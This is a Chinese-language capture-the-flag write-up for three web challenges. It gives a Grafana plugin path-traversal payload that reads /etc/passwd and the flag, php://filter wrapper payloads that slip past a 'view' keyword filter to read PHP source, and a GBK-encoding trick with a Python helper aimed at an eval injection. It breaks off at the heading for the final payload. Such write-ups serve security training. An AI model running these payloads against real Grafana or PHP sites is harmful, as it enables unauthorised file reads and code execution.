wherew
这题的考点就是源码泄露,漏洞链接就在下面
在发包的时候要把bp中自动更新长度的选项去掉,然后再开启换行符号显示,然后记得要在get请求下再加一个换行符,这样才会触发漏洞展示出源码。
第二个get请求下的文件只要是一个不存在的且是非php的文件就可以了
grafana
这题的考点是目录穿越
任选一个插件进行目录穿越就可以读取源文件
相关POC:
/public/plugins/alertmanager/../../../../../../../../etc/passwd
这题的flag就在根目录下,将/etc/passwd,换成/flag就可以读取flag
longlongago
这题的考点是文件包含漏洞
可以用伪协议进行读取,?a=php://filter/convert.base64-encode/resource=view/message 就可以读到网站的源码
$transcodeData = func::Transcoding($data) 这里进行了func函数的一个转换,后面还需要寻找func函数的源码
这里还存在过滤,必须都带上view这个字符串才可以通过过滤
?a=php://filter/convert.base64-encode|view/resource=index可以读取页面的源码数据
这里就看到了具体过滤的代码
?a=php://filter/convert.base64-encode|view/resource=/php/db
?a=php://filter/convert.base64-encode|view/resource=/php/func
分别读取db和func文件
这里的eval函数可以利用
$messageData = eval('return'.iconv('UTF-8','GBK',var_export($messageData,true).'j'));
import random
while True:
unicode_char = chr(random.randint(0x4e00,0x9fbf))
for byte in unicode_char.encode('gbk'):
if byte == 92:
print('Found:',unicode_char)
为了让数据库在转码的时候能够转码出一个反斜杠,让其和后面的单引号进行闭合
最终payload